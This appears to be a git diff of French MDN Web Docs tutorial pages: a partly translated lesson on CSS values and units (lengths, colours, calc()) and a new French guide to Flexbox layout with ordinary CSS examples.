<number><number> représente un nombre décimal — il peut avoir, ou non, un point décimal avec un composant fractionnaire. Par exemple, 0.255, 128, ou -1.2.
<dimension><dimension> est un <number> avec une unité attachée à lui. Par exemple, 45deg, 5s, ou 10px. <dimension> est divisé en d'autres catégories incluant les types <length>, <angle>, <time>, et <resolution>.
<percentage><percentage> représente une fraction d'une autre valeur.  Par exemple, 50%. Les valeurs de pourcentage sont toujours relatives à une qutre quantité. Par exemple, la longeur d'un élément est relative à la longueur de son élément parent.
+ +

Longueurs

+ +

The numeric type you will come across most frequently is <length>. For example 10px (pixels) or 30em. There are two types of lengths used in CSS — relative and absolute. It's important to know the difference in order to understand how big things will become.

+ +

Absolute length units

+ +

The following are all absolute length units — they are not relative to anything else, and are generally considered to always be the same size.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
UnitNameEquivalent to
cmCentimeters1cm = 96px/2.54
mmMillimeters1mm = 1/10th of 1cm
QQuarter-millimeters1Q = 1/40th of 1cm
inInches1in = 2.54cm = 96px
pcPicas1pc = 1/6th of 1in
ptPoints1pt = 1/72th of 1in
pxPixels1px = 1/96th of 1in
+ +

Most of these units are more useful when used for print, rather than screen output. For example, we don't typically use cm (centimeters) on screen. The only value that you will commonly use is px (pixels).

+ +

Relative length units

+ +

Relative length units are relative to something else, perhaps the size of the parent element's font, or the size of the viewport. The benefit of using relative units is that with some careful planning you can make it so the size of text or other element scales relative to everything else on the page. Some of the most useful units for web development are listed in the table below.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
UnitRelative to
emFont size of the parent, in the case of typographical properties like font-size, and font size of the element itself, in the case of other properties like width.
exx-height of the element's font.
chThe advance measure (width) of the glyph "0" of the element's font.
remFont size of the root element.
lhLine height of the element.
vw1% of the viewport's width.
vh1% of the viewport's height.
vmin1% of the viewport's smaller dimension.
vmax1% of the viewport's larger dimension.
+ +

Exploring an example

+ +

In the example below, you can see how some relative and absolute length units behave. The first box has a {{cssxref("width")}} set in pixels. As an absolute unit, this width will remain the same no matter what else changes.

+ +

The second box has a width set in vw (viewport width) units. This value is relative to the viewport width, and so 10vw is 10 percent of the width of the viewport. If you change the width of your browser window, the size of the box should change. However this example is embedded into the page using an <iframe>, so this won't work. To see this in action you'll have to try the example after opening it in its own browser tab.

+ +

The third box uses em units. These are relative to the font size. I've set a font size of 1em on the containing {{htmlelement("div")}}, which has a class of .wrapper. Change this value to 1.5em and you will see that the font size of all the elements increases, but only the last item will get wider, as the width is relative to that font size.

+ +

After following the instructions above, try playing with the values in other ways, to see what you get.

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/length.html", '100%', 820)}}

+ +

ems and rems

+ +

em and rem are the two relative lengths you are likely to encounter most frequently when sizing anything from boxes to text. It's worth understanding how these work, and the differences between them, especially when you start getting on to more complex subjects like styling text or CSS layout. The below example provides a demonstration.

+ +

The HTML is a set of nested lists — we have three lists in total and both examples have the same HTML. The only difference is that the first has a class of ems and the second a class of rems.

+ +

To start with, we set 16px as the font size on the <html> element.

+ +

To recap, the em unit means "my parent element's font-size" in the case of typography. The {{htmlelement("li")}} elements inside the {{htmlelement("ul")}} with a class of ems take their sizing from their parent. So each successive level of nesting gets progressively larger, as each has its font size set to 1.3em — 1.3 times its parent's font size.

+ +

To recap, the rem unit means "The root element's font-size". (rem stands for "root em".) The {{htmlelement("li")}} elements inside the {{htmlelement("ul")}} with a class of rems take their sizing from the root element (<html>). This means that each successive level of nesting does not keep getting larger.

+ +

However, if you change the <html> font-size in the CSS you will see that everything else changes relative to it — both rem- and em-sized text.

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/em-rem.html", '100%', 1000)}} 

+ +

Percentages

+ +

In a lot of cases, a percentage is treated in the same way as a length. The thing with percentages is that they are always set relative to some other value. For example, if you set an element's font-size as a percentage it will be a percentage of the font-size of the element's parent. If you use a percentage for a width value, it will be a percentage of the width of the parent.

+ +

In the below example the two percentage-sized boxes and the two pixel-sized boxes have the same class names. Both sets are 200px and 40% wide respectively.

+ +

The difference is that the second set of two boxes is inside a wrapper that is 400 pixels wide. The second 200px wide box is the same width as the first one, but the second 40% box is now 40% of 400px — a lot narrower than the first one!

+ +

Try changing the width of the wrapper or the percentage value to see how this works.

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/percentage.html", '100%', 850)}} 

+ +

The next example has font sizes set in percentages. Each <li> has a font-size of 80%, therefore the nested list items become progressively smaller as they inherit their sizing from their parent.

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/percentage-fonts.html", '100%', 650)}} 

+ +

Note that, while many value types accept a length or a percentage, there are some that only accept length. You can see which values are accepted on the MDN property reference pages. If the allowed value includes <length-percentage> then you can use a length or a percentage. If the allowed value only includes <length>, it is not possible to use a percentage.

+ +

Numbers

+ +

Some value types accept numbers, without any unit added to them. An example of a property which accepts a unitless number is the opacity property, which controls the opacity of an element (how transparent it is). This property accepts a number between 0 (fully transparent) and 1 (fully opaque).

+ +

In the below example, try changing the value of opacity to various decimal values between 0 and 1 and see how the box and its contents become more or less opaque.

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/opacity.html", '100%', 500)}} 

+ +
+

Note: When you use a number in CSS as a value it should not be surrounded in quotes.

+
+ +

Color

+ +

There are many ways to specify color in CSS, some of which are more recently implemented than others. The same color values can be used everywhere in CSS, whether you are specifying text color, background color, or whatever else.

+ +

The standard color system available in modern computers is 24 bit, which allows the display of about 16.7 million distinct colors via a combination of different red, green and blue channels with 256 different values per channel (256 x 256 x 256 = 16,777,216.) Let's have a look at some of the ways in which we can specify colors in CSS.

+ +
+

Note: In this tutorial we will look at the common methods of specifying color that have good browser support; there are others but they don't have as good support and are less common.

+
+ +

Color keywords

+ +

Quite often in examples here in the learn section or elsewhere on MDN you will see the color keywords used, as they are a simple and understandable way of specifying color. There are a number of these keywords, some of which have fairly entertaining names! You can see a full list on the page for the <color> value type.

+ +

Try playing with different color values in the live examples below, to get more of an idea how they work.

+ +

Hexadecimal RGB values

+ +

The next type of color value you are likely to encounter is hexadecimal codes. Each hex value consists of a hash/pound symbol (#) followed by six hexadecimal numbers, each of which can take one of 16 values between 0 and f (which represents 15) — so 0123456789abcdef. Each pair of values represents one of the channels — red, green and blue — and allows us to specify any of the 256 available values for each (16 x 16 = 256.)

+ +

These values are a bit more complex and less easy to understand, but they are a lot more versatile than keywords — you can use hex values to represent any color you want to use in your color scheme.

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/color-hex.html", '100%', 700)}} 

+ +

Again, try changing the values to see how the colors vary.

+ +

RGB and RGBA values

+ +

The third scheme we'll talk about here is RGB. An RGB value is a function — rgb() — which is given three parameters that represent the red, green, and blue channel values of the colors, in much the same way as hex values. The difference with RGB is that each channel is represented not by two hex digits, but by a decimal number between 0 and 255 — somewhat easier to understand.

+ +

Let's rewrite our last example to use RGB colors:

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/color-rgb.html", '100%', 700)}} 

+ +

You can also use RGBA colors — these work in exactly the same way as RGB colors, and so you can use any RGB values. However, there is a fourth value that represents the alpha channel of the color, which controls opacity. If you set this value to 0 it will make the color fully transparent, whereas 1 will make it fully opaque. Values in between give you different levels of transparency.

+ +
+

Note: Setting an alpha channel on a color has one key difference to using the {{cssxref("opacity")}} property we looked at earlier. When you use opacity you make the element and everything inside it opaque, whereas using RGBA colors only makes the color you are specifying opaque.

+
+ +

In the example below I have added a background image to the containing block of our colored boxes. I have then set the boxes to have different opacity values — notice how the background shows through more when the alpha channel value is smaller.

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/color-rgba.html", '100%', 770)}}

+ +

In this example, try changing the alpha channel values to see how it affects the color output.

+ +
+

Note: At some point modern browsers were updated so that rgba() and rgb(), and hsl() and hsla() (see below), became pure aliases of each other and started to behave exactly the same. So for example both rgba() and rgb() accept colors with and without alpha channel values. Try changing the above example's rgba() functions to rgb() and see if the colors still work! Which style you use is up to you, but separating out non-transparent and transparent color definitions to use the different functions gives (very) slightly better browser support and can act as a visual indicator of where transparent colors are being defined in your code.

+
+ +

HSL and HSLA values

+ +

Slightly less well-supported than RGB is the HSL color model (not supported on old versions of IE), which was implemented after much interest from designers. Instead of red, green, and blue values, the hsl() function accepts hue, saturation, and lightness values, which are used to distinguish between the 16.7 million colors, but in a different way:

+ +
    +
  • Hue: The base shade of the color. This takes a value between 0 and 360, representing the angles around a color wheel.
    • +
  • Saturation: How saturated is the color? This takes a value from 0–100%, where 0 is no color (it will appear as a shade of grey), and 100% is full color saturation
    • +
  • Lightness: How light or bright is the color? This takes a value from 0–100%, where 0 is no light (it will appear completely black) and 100% is full light (it will appear completely white)
    • +
+ +

We can update the RGB example to use HSL colors like this:

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/color-hsl.html", '100%', 700)}} 

+ +

Just as RGB has RGBA, HSL has an HSLA equivalent, which gives you the same ability to specify the alpha channel. I've demonstrated this below by changing my RGBA example to use HSLA colors.

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/color-hsla.html", '100%', 770)}} 

+ +

You can use any of these color values in your projects. It is likely that for most projects you will decide on a color palette and then use those colors — and your chosen method of specifying color — throughout the whole project. You can mix and match color models, however for consistency it is usually best if your entire project uses the same one!

+ +

Images

+ +

The <image> value type is used wherever an image is a valid value. This can be an actual image file pointed to via a url() function, or a gradient.

+ +

In the example below, we have demonstrated an image and a gradient in use as a value for the CSS background-image property.

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/image.html", '100%', 740)}} 

+ +
+

Note: there are some other possible values for <image>, however these are newer and currently have poor browser support. Check out the page on MDN for the <image> data type if you want to read about them.

+
+ +

Position

+ +

The <position> value type represents a set of 2D coordinates, used to position an item such as a background image (via background-position). It can take keywords such as top, left, bottom, right, and center to align items with specific bounds of a 2D box, along with lengths, which represent offsets from the top and left-hand edges of the box.

+ +

A typical position value consists of two values — the first sets the position horizontally, the second vertically. If you only specify values for one axis the other will default to center.

+ +

In the following example we have positioned a background image 40px from the top and to the right of the container using a keyword.

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/position.html", '100%', 720)}} 

+ +

Play around with these values to see how you can push the image around.

+ +

Strings and identifiers

+ +

Throughout the examples above, we've seen places where keywords are used as a value (for example <color> keywords like red, black, rebeccapurple, and goldenrod). These keywords are more accurately described as identifiers, a special value that CSS understands. As such they are not quoted — they are not treated as strings.

+ +

There are places where you use strings in CSS. For example when specifying generated content. In this case, the value is quoted to demonstrate that it is a string. In the below example we use unquoted color keywords along with a quoted generated content string.

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/strings-idents.html", '100%', 550)}} 

+ +

Functions

+ +

The final type of value we will take a look at is the group of values known as functions. In programming, a function is a reusable section of code that can be run multiple times to complete a repetitive task with minimum effort on the part of both the developer and the computer. Functions are usually associated with languages like JavaScript, Python, or C++, but they do exist in CSS too, as property values. We've already seen functions in action in the Colors section — rgb(), hsl(), etc. The value used to return an image from a file — url() — is also a function.

+ +

A value that behaves more like something you might find in a traditional programming language is the calc() CSS function. This function gives you the ability to do simple calculations inside your CSS. It's particularly useful if you want to work out values that you can't define when writing the CSS for your project, and need the browser to work out for you at runtime.

+ +

For example, below we are using calc() to make the box 20% + 100px wide. The 20% is calculated from the width of the parent container .wrapper and so will change if that width changes. We can't do this calculation beforehand because we don't know what 20% of the parent will be, so we use calc() to tell the browser to do it for us.

+ +

{{EmbedGHLiveSample("css-examples/learn/values-units/calc.html", '100%', 450)}}

+ +

Test your skills!

+ +

We have covered a lot in this article, but can you remember the most important information? You can find some further tests to verify that you've retained this information before you move on — see Test your skills: Values and units.

+ +

Summary

+ +

This has been a quick run-through of the most common types of values and units you might encounter. You can have a look at all of the different types on the CSS Values and units reference page; you will encounter many of these in use as you work through these lessons.

+ +

The key thing to remember is that each property has a defined list of allowed value types, and each value type has a definition explaining what the values are. You can then look up the specifics here on MDN.

+ +

For example, understanding that <image> also allows you to create a color gradient is useful but perhaps non-obvious knowledge to have!

+ +

{{PreviousMenuNext("Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks")}}

+ +

In this module

+ +
    +
  1. Cascade and inheritance
    2. +
  2. CSS selectors + +
    3. +
  3. The box model
    4. +
  4. Backgrounds and borders
    5. +
  5. Handling different text directions
    6. +
  6. Overflowing content
    7. +
  7. Values and units
    8. +
  8. Sizing items in CSS
    9. +
  9. Images, media, and form elements
    10. +
  10. Styling tables
    11. +
  11. Debugging CSS
    12. +
  12. Organizing your CSS
    13. +
diff --git a/files/fr/learn/css/css_layout/flexbox/index.html b/files/fr/learn/css/css_layout/flexbox/index.html new file mode 100644 index 0000000000..bcf02e9910 --- /dev/null +++ b/files/fr/learn/css/css_layout/flexbox/index.html @@ -0,0 +1,341 @@ +--- +title: Flexbox +slug: Apprendre/CSS/CSS_layout/Flexbox +tags: + - Apprentissage + - Article + - Boîtes modulables + - CSS + - Codage + - Disposition + - Débutant + - Guide + - Mise en page avec les CSS + - Mises en page + - flexbox +translation_of: Learn/CSS/CSS_layout/Flexbox +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Apprendre/CSS/CSS_layout/Normal_Flow", "Apprendre/CSS/CSS_layout/Flexbox_skills", "Learn/CSS/CSS_layout")}}
+ +

Flexbox est une méthode de mise en page selon un axe principal, permettant de disposer des éléments en ligne ou en colonne. Les éléments se dilatent ou se rétractent pour occuper l'espace disponible. Cet article en explique tous les fondamentaux.

+ + + + + + + + + + + + +
Prérequis :Les fondamentaux du HTML (étudiez Introduction au HTML) et avoir une idée de la manière dont la CSS fonctionne (étudiez Introduction aux CSS).
Objectif :Apprendre à utiliser le système Flexbox pour créer des mises en page web.
+ +

Pourquoi Flexbox ?

+ +

Pendant longtemps, les seuls outils de mise en page CSS fiables et compatibles avec les navigateurs, étaient les propriétés concernant les flotteurs (boîtes flottantes) et le positionnement. Ces outils sont bien et fonctionnent, mais restent à certains égards plutôt limitatifs et frustrants.

+ +

Les simples exigences de mise en page suivantes sont difficiles si ce n'est impossibles à réaliser de manière pratique et souple avec ces outils :

+ +
    +
  • centrer verticalement un bloc de contenu dans son parent ;
    • +
  • faire que tous les enfants d'un conteneur occupent tous une même quantité de hauteur/largeur disponible selon l'espace offert ;
    • +
  • faire que toutes les colonnes dans une disposition multi‑colonnes aient la même hauteur même si leur quantité de contenu diffère.
    • +
+ +

Comme vous le verrez dans les paragraphes suivants, flexbox facilite considérablement les tâches de mise en page. Approfondissons un peu !

+ +

Voici un exemple simple

+ +

Dans cet article, nous allons commenter une série d'exercices pour vous faciliter la compréhension du fonctionnement de flexbox. Pour commencer, faites une copie locale du premier fichier de démarrage — flexbox0.html de notre dépôt Github —, chargez‑le dans un navigateur moderne (comme Firefox ou Chrome) et regardez le code dans votre éditeur. Vous pouvez le voir en direct ici aussi.

+ +

Qu'avons‑nous ? un élément {{htmlelement("header")}} avec un en‑tête de haut niveau à l'intérieur, et un élément {{htmlelement("section")}} contenant trois {{htmlelement("article")}}s. Nous allons les utiliser pour créer une disposition vraiment classique sur trois colonnes.

+ +

Échantillon d'utilisation de flexbox

+ +

Détermination des éléments à disposer en boîtes flexibles

+ +

Pour commencer, sélectionnons les éléments devant être présentés sous forme de boîtes flexibles. Pour ce faire, donnons une valeur spéciale à la propriété  {{cssxref("display")}} du parent de ces éléments à disposer. Dans ce cas, comme cela concerne les éléments {{htmlelement("article")}}, nous affectons la valeur flex à l'élément {{htmlelement("section")}} (qui devient un conteneur flex) :

+ +
section {
+  display: flex;
+}
+ +

Voici le résultat :

+ +

Échantillon d'utilisation de flexbox

+ +

Ainsi, cette unique déclaration donne tout ce dont nous avons besoin — incroyable, non ? Nous avons ainsi notre disposition en plusieurs colonnes de largeur égale, et toutes de même hauteur. Ceci parce que les valeurs par défaut données aux éléments flex (les enfants du conteneur flex) sont configurés pour résoudre des problèmes courants tels celui-ci. On en reparlera plus tard.

+ +
+

Note : Vous pouvez aussi définir une valeur inline-flex pour  {{cssxref("display")}} si vous voulez disposer des éléments en ligne sous forme de boîtes modulables.

+
+ +

Aparté sur le modèle flex

+ +

Lorsque les éléments sont disposés en boîtes flexibles, ils sont disposés le long de deux axes :

+ +

Terminologie pour les boîtes modulables

+ +
    +
  • L'axe principal (main axis) est l'axe de la direction dans laquelle sont disposés les éléments flex (par exemple, horizontalement sur la page, ou verticalement de haut en bas de la page). Le début et la fin de cet axe sont appelés l'origine principale (main start) et la fin principale (main end).
    • +
  • L'axe croisé  est l'axe perpendiculaire à l'axe principal, càd à la direction dans laquelle sont disposés les éléments flex. Le début et la fin de cet axe sont appelés le début (cross start) et la fin (cross end) de l'axe croisé.
    • +
  • L'élément parent dont la propriété est display: flex  ({{htmlelement("section")}} dans notre exemple) est appelé le conteneur flex (flex container).
    • +
  • Les éléments disposés en tant que boîtes flexibles à l'intérieur du conteneur flex sont appelés éléments flex (flex items) (les éléments {{htmlelement("article")}}} dans notre exemple).
    • +
+ +

Gardez cette terminologie en tête en lisant les paragraphes suivants. Vous pouvez toujours vous y référer si vous avez un doute sur la signification des termes utilisés.

+ +

Colonnes ou lignes ?

+ +

Flexbox dispose de la propriété {{cssxref("flex-direction")}} pour indiquer la direction de l'axe principal (direction dans laquelle les enfants flexibles sont disposés) — cette propriété est égale par défaut à row : ils sont donc disposés en ligne, dans le sens de lecture de la langue par défaut du navigateur (de gauche à droite, dans le cas d'un navigateur français).

+ +

Ajoutons la déclaration suivante dans la règle :

+ +
flex-direction: column;
+ +

Cela dispose de nouveau les éléments en colonnes, comme c'était le cas avant l'ajout de la CSS. Avant de poursuivre, enlevez cette déclaration de l'exemple.

+ +
+

Note : Vous pouvez aussi disposer les éléments flex dans la direction inverse avec les valeurs row-reverse et column-reverse. Expérimentez ces valeurs aussi !

+
+ +

Enveloppement

+ +

Problème : quand votre structure est de largeur ou hauteur fixe, il arrive que les éléments flex débordent du conteneur et brisent cette structure. Voyez l'exemple flexbox-wrap0.html, essayez directement (faites une copie locale de ce fichier maintenant si vous voulez suivre cet exemple) :

+ +

Débordement des éléments modulables

+ +

Ici, nous voyons que les enfants débordent du conteneur. Une façon d'y remédier est d'ajouter la déclaration suivante à votre règle pour section :

+ +
flex-wrap: wrap;
+ +

Essayons ; la disposition est bien meilleure avec cet ajout :

+ +

Conditionnement des éléments modulablesNous avons maintenant plusieurs lignes — un nombre sensé d'enfants flexibles est placé sur chaque ligne, et le débordement est déplacé vers le bas sur une ligne supplémentaire. La déclaration flex: 200px pour les éléments article signifie que chacun aura au moins 200px de large ; nous discuterons de cette propriété plus en détail plus tard. Vous noterez aussi que chacun des enfants de la dernière rangée est plus large, de façon à ce que toute la rangée reste remplie.

+ +

Mais nous pouvons faire plus ici. Tout d'abord, essayez de changer la valeur de la propriété {{cssxref("flex-direction")}} en row-reverse — maintenant vous avez toujours la disposition sur plusieurs lignes, mais elles commencent dans l'angle opposé de la fenêtre du navigateur et se disposent à l'envers.

+ +

Forme abrégée « flex-flow »

+ +

Notez maintenant qu'il y a une forme abrégée pour {{cssxref("flex-direction")}} et {{cssxref("flex-wrap")}} — {{cssxref("flex-flow")}}. Ainsi, par exemple, vous pouvez remplacer

+ +
flex-direction: row;
+flex-wrap: wrap;
+ +

par

+ +
flex-flow: row wrap;
+ +

Taille modulable des éléments flex

+ +

Revenons maintenant au premier exemple, et examinons comment nous pouvons contrôler la proportion d'éléments flexibles dans l'espace. Lancez votre copie locale de flexbox0.html ou prenez une copie de flexbox1.html comme nouveau point de départ (voir en direct).

+ +

Ajoutez d'abord la règle ci-dessous en fin de la CSS :

+ +
article {
+  flex: 1;
+}
+ +

Il s'agit d'une valeur de proportion, sans unité, définissant la quantité d'espace disponible que chaque élément flex prendra le long de l'axe principal. Dans ce cas, nous donnons à chaque élément {{htmlelement("article")}}} une valeur de 1, ce qui signifie qu'ils prendront tous une portion égale de l'espace libre après le calcul du remplissage et de la marge. Cette valeur représente une proportion, càd que le fait de donner une valeur de 400 000 simultanément à tous les éléments flex aurait exactement le même effet.

+ +

Maintenant ajoutons cette règle en-dessous de la précédente :

+ +
article:nth-of-type(3) {
+  flex: 2;
+}
+ +

Maintenant, lorsque vous actualisez, vous voyez que le troisième {{htmlelement("article")}} occupe deux fois plus de largeur disponible que chacun des deux autres — il y a maintenant quatre unités de division disponibles au total. Les deux premiers éléments flexibles en occupent chacun un, soit 1/4 de l'espace disponible pour chacun. Le troisième remplit deux unités, soit 2/4 (la moitié) de l'espace disponible.

+ +

Vous pouvez également définir une valeur minimale de taille dans la valeur flex. Modifiez comme suit vos règles article existantes :

+ +
article {
+  flex: 1 200px;
+}
+
+article:nth-of-type(3) {
+  flex: 2 200px;
+}
+ +

En gros, cela dit : « Chaque élément flex reçoit d'abord 200px de l'espace disponible quand c'est possible. Ensuite, le reste de l'espace disponible est réparti selon les unités de proportion ». Note : quand ce n'est pas possible, ce sont les unités de proportions qui sont prises en compte.

+ +

Actualisez et vous devriez voir une différence dans la façon dont l'espace est réparti.

+ +

Modulation de la largeur

+ +

Le véritable intérêt de flexbox apparaît dans sa souplesse et sa réactivité — si vous redimensionnez la fenêtre du navigateur ou ajoutez un autre élément {{htmlelement("article")}}}, la mise en page continue de fonctionner correctement.

+ +

Flex : forme abrégée vs forme longue

+ +

{{cssxref("flex")}} est une forme abrégée de propriété qui peut servir à définir trois valeurs différentes :

+ +
    +
  • une valeur de proportion sans unité, vue ci‑dessus. Elle peut être précisée seule avec la forme longue de la propriété {{cssxref("flex-grow")}} ;
    • +
  • une deuxième valeur de proportion sans unité — {{cssxref("flex-shrink")}} — intervenant quand les éléments flex débordent du conteneur. Elle indique la quantité de dépassement à retirer de l'extension de chacun des éléments flex pour les empêcher de déborder du conteneur. Il s'agit d'une fonctionnalité avancée de flexbox, et nous n'en parlerons plus dans cet article ;
    • +
  • une valeur de taille minimale, vue ci‑dessus. Elle peut aussi être précisée seule avec la forme longue de la propriété {{cssxref("flex-basis")}}.
    • +
+ +

Nous vous déconseillons d'utiliser les propriétés flex sous leur forme longue, sans autre alternative possible (par exemple, pour annuler quelque chose déjà défini). Elles représentent du code supplémentaire, et peuvent être quelque peu déroutantes.

+ +

Alignement horizontal et vertical

+ +

Vous pouvez également utiliser les fonctionnalités de flexbox pour aligner les éléments flex le long de l'axe principal ou croisé. Voyons cela avec un nouvel exemple — flex-align0.html (voir aussi en direct). Nous allons le transformer facilement en une barre souple de boutons. Actuellement, nous avons une barre de menu horizontale avec quelques boutons tassés dans l'angle supérieur gauche.

+ +

Alignement

+ +

D'abord, faites une copie locale de cet exemple.

+ +

Ensuite, ajoutez ce qui suit à la fin de la CSS de l'exemple :

+ +
div {
+  display: flex;
+  align-items: center;
+  justify-content: space-around;
+}
+ +

Actualisez la page et vous verrez que les boutons sont maintenant bien centrés, horizontalement et verticalement. Cette transformation a été opérée grâce à deux nouvelles propriétés.

+ +

{{cssxref("align-items")}} fixe là où les éléments flex sont placés sur l'axe perpendiculaire, dit aussi croisé (cross axis).

+ +
    +
  • Par défaut, la valeur est stretch, qui étire tous les éléments flex de manière à emplir le conteneur parent le long de l'axe croisé. Si le parent ne possède pas de dimension définie dans la direction de l'axe croisé, alors tous les éléments flex auront la dimension du plus étiré des éléments. C'est pour cette raison que, dans notre premier exemple, les colonnes ont toutes la même hauteur par défaut.
    • +
  • Avec la valeur center, utilisée dans le code ci-dessus, les éléments gardent leur dimension intrinsèque, tout en étant centrés sur l'axe croisé. C'est la raison pour laquelle, dans l'exemple actuel, les boutons sont centrés verticalement.
    • +
  • Il y a également des valeurs comme flex-start et flex-end qui alignent respectivement tous les éléments au début ou à la fin de l'axe croisé. Voyez {{cssxref("align-items")}} pour tous les détails.
    • +
+ +

Vous pouvez prendre le pas sur le comportement de {{cssxref("align-items")}} pour un élément flex donné en lui appliquant la propriété {{cssxref("align-self")}}. Par exemple, ajoutez ce qui suit aux CSS:

+ +
button:first-child {
+  align-self: flex-end;
+}
+ +

Voyez l'effet obtenu, puis supprimez ensuite la règle.

+ +

{{cssxref("justify-content")}} fixe où les éléments flex sont placés sur l'axe principal.

+ +
    +
  • La valeur par défaut est flex-start. Tous les éléments sont disposés vers l'origine de l'axe principal.
    • +
  • Vous utiliserez  flex-end pour les disposer vers la fin.
    • +
  • center est aussi une valeur possible pour justify-content. Avec elle, les éléments flex sont placés vers le centre de l'axe principal.
    • +
  • La valeur space-around, utilisée plus haut, est pratique — elle distribue régulièrement tous les éléments le long de l'axe principal, en laissant autant d'espace à chaque extrémité qu'entre chacun.
    • +
  • Une autre valeur, space-between, est semblable à space-around mais elle ne laisse pas d'espace aux extrémités.
    • +
+ +

N'hésitez pas à jouer avec ces valeurs pour visualiser leur fonctionnement avant de poursuivre.

+ +

Ordonner les éléments flex

+ +

Flexbox dispose aussi d'une fonctionnalité pour modifier l'ordre d'affichage des éléments flex, sans en modifier l'ordre dans la source. C'est une chose impossible à réaliser avec les méthodes classiques de mise en page.

+ +

Le code pour ce faire est simple : ajoutez la règle CSS suivante dans l'exemple de code de la barre de boutons :

+ +
button:first-child {
+  order: 1;
+}
+ +

Actualisez, et vous pouvez voir que le bouton « Smile » a été déplacé en fin de l'axe principal. Voyons en détail comment cela fonctionne :

+ +
    +
  • par défaut, tous les éléments flex possèdent une valeur {{cssxref("order")}} égale à 0 ;
    • +
  • les éléments flex avec des valeurs order plus élévées apparaîtront plus tard dans l'ordre d'affichage que ceux avec des valeurs plus faibles ;
    • +
  • les éléments flex avec les mêmes valeurs pour order sont affichés dans l'ordre de la source. Ainsi, si vous avez 4 éléments avec des valeurs order de 2, 1, 1 et 0, leur ordre d'affichage sera 4ème, 2ème, 3ème et premier.
    • +
  • Le troisième élément suit le deuxième, car il a la même valeur pour order et qu'il est placé après dans le code source.
    • +
+ +

Vous pouvez donner des valeurs négatives à order pour faire en sorte que ces éléments soient affichés avant les éléments d'ordre 0. Par exemple, vous pouvez faire apparaître le bouton « Blush » en tête de l'axe principal avec la règle suivante :

+ +
button:last-child {
+  order: -1;
+}
+ +

Boîtes flex imbriquées

+ +

Il est possible de créer des mises en page joliment complexes avec flexbox. Il est parfaitement loisible de déclarer un élément flex en tant que conteneur flex, de sorte que ses enfants sont également disposés en tant que boîtes modulables. Regardez complex-flexbox.html (à voir en direct également).

+ +

Imbrications avec flexbox

+ +

Le HTML pour cela est vraiment simple. Voici un élément {{htmlelement("section")}} contenant trois éléments {{htmlelement("article")}}. Le troisième élément {{htmlelement("article")}} contient trois éléments {{htmlelement("div")}}. Le premier élément {{htmlelement("div")}} contient cinq éléments {{htmlelement("button")}}  :

+ +
section - article
+          article
+          article - div - button
+                    div   button
+                    div   button
+                          button
+                          button
+ +

Regardez le code utilisé pour cette disposition.

+ +

Primo, nous déterminons que les enfants de l'élément {{htmlelement("section")}} seront des boîtes flexibles.

+ +
section {
+  display: flex;
+}
+ +

Secundo, nous définissons des valeurs flex pour les éléments {{htmlelement("article")}} eux‑mêmes. Remarquez en particulier ici la deuxième règle — nous paramétrons le troisième élément {{htmlelement("article")}} pour que ses enfants soient eux-mêmes disposés en tant qu'éléments flex, mais cette fois‑ci en colonne.

+ +
article {
+  flex: 1 200px;
+}
+
+article:nth-of-type(3) {
+  flex: 3 200px;
+  display: flex;
+  flex-flow: column;
+}
+
+ +

Tertio, nous sélectionnons le premier élément {{htmlelement("div")}} et lui assignons la valeur flex:1 100px; pour qu'il ait effectivement une hauteur minimale de 100px, ensuite nous indiquons que ses enfants (les éléments {{htmlelement("button")}}) doivent être disposés en tant qu'éléments flex dans une ligne enveloppante, centrés dans l'espace disponible comme dans l'exemple des boutons vu plus haut.

+ +
article:nth-of-type(3) div:first-child {
+  flex:1 100px;
+  display: flex;
+  flex-flow: row wrap;
+  align-items: center;
+  justify-content: space-around;
+}
+ +

Enfin, nous définissons un dimensionnement des boutons, et plus précisément nous leur donnons une valeur flex de 1. L'effet obtenu est très intéressant ; vous l'observerez en modifiant la largeur de la fenêtre du navigateur. Les boutons prennent autant d'espace qu'il leur est permis, et sont si possible disposés sur la même ligne ; mais si ce n'est pas possible, il "descendent" pour créer de nouvelles lignes.

+ +
button {
+  flex: 1;
+  margin: 5px;
+  font-size: 18px;
+  line-height: 1.5;
+}
+ +

Compatibilité des navigateurs

+ +

La prise en charge de Flexbox est disponible avec la plupart des  navigateurs récents — Firefox, Chrome, Opera, Microsoft Edge et IE 11, les nouvelles versions d'Android/iOS, etc. Mais vous devez être attentif au fait que l'on utilise encore des navigateurs anciens qui ne prennent pas en charge Flexbox (ou le font, mais uniquement pour des versions très anciennes, vraiment dépassées de la spécification).

+ +

Pour l'apprentissage et l'expérimentation, cela n'a pas trop d'importance. Mais utiliser flexbox pour un site web réel nécessite de faire des tests et de s'assurer que l'expérience utilisateur est toujours acceptable dans le plus grand nombre de navigateurs possible.

+ +

Flexbox est une fonctionnalité plus complexe que les règles CSS courantes. Par exemple, une absence de prise en charge des ombres portées dans les CSS laissera le site utilisable. Mais la non prise en charge des fonctionnalités flexbox risque de casser totalement la mise en page, et de rendre le site inutilisable.

+ +

Les stratégies pour contourner les problèmes de compatibilité des navigateurs est discutée dans le module Tests croisés sur navigateurs.

+ +

Résumé

+ +

Notre visite guidée des bases de flexbox est maintenant terminée. Espérons que vous en êtes satisfaits, et que vous saurez jouer avec ses fonctionnalités tout en progressant dans l'apprentissage. Nous allons examiner ensuite un autre aspect important de la mise en page avec les CSS — les grilles CSS.

+ +
{{PreviousMenuNext("Apprendre/CSS/CSS_layout/Normal_Flow", "Apprendre/CSS/CSS_layout/Flexbox_skills", "Learn/CSS/CSS_layout")}}
+ +
+

Dans ce module

+ + +
